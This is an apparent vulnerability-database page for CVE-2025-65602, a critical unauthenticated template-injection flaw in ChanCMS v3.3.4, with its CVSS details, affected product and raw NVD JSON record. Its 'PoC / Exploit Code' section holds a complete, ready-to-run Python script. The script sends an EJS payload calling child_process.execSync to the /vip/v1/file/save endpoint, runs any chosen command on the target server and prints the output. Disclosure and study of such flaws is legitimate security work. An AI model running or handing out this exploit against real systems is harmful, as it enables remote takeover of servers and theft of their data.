Security Vulnerability Report
中文
CVE-2025-65602 CVSS 9.8 CRITICAL

CVE-2025-65602

Published: 2025-12-10 20:16:22
Last Modified: 2025-12-18 21:15:57

Description

A template injection vulnerability in the /vip/v1/file/save component of ChanCMS v3.3.4 allows attackers to execute arbitrary code via a crafted POST request.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:chancms:chancms:3.3.4:*:*:*:*:*:*:* - VULNERABLE
ChanCMS v3.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65602 PoC - ChanCMS Template Injection RCE # Target: ChanCMS v3.3.4 # Endpoint: /vip/v1/file/save def exploit(target_url, command="whoami"): """ Exploit template injection vulnerability in ChanCMS /vip/v1/file/save """ endpoint = f"{target_url.rstrip('/')}/vip/v1/file/save" # Template injection payload - executes system command # Using EJS template syntax for command execution payload = f"<%= global.process.mainModule.require('child_process').execSync('{command}').toString() %>" # Prepare POST data data = { "file": payload, "filename": "test.txt" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: print(f"[*] Target: {target_url}") print(f"[*] Command: {command}") print(f"[*] Sending exploit payload...") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://target.com whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65602", "sourceIdentifier": "[email protected]", "published": "2025-12-10T20:16:21.740", "lastModified": "2025-12-18T21:15:57.150", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A template injection vulnerability in the /vip/v1/file/save component of ChanCMS v3.3.4 allows attackers to execute arbitrary code via a crafted POST request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chancms:chancms:3.3.4:*:*:*:*:*:*:*", "matchCriteriaId": "A7A68D3D-2217-4307-828D-49521B28CCA7"}]}]}], "references": [{"url": "https://gitee.com/chancms/ChanCMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/ChanCMS-Unauthenticated-RCE-2a3ee9235ba380fc9973e16c06258689", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.notion.so/ChanCMS-Unauthenticated-RCE-2a3ee9235ba380fc9973e16c06258689?source=copy_link", "source": "[email protected]", "tags": ["Permissions Required"]}]}}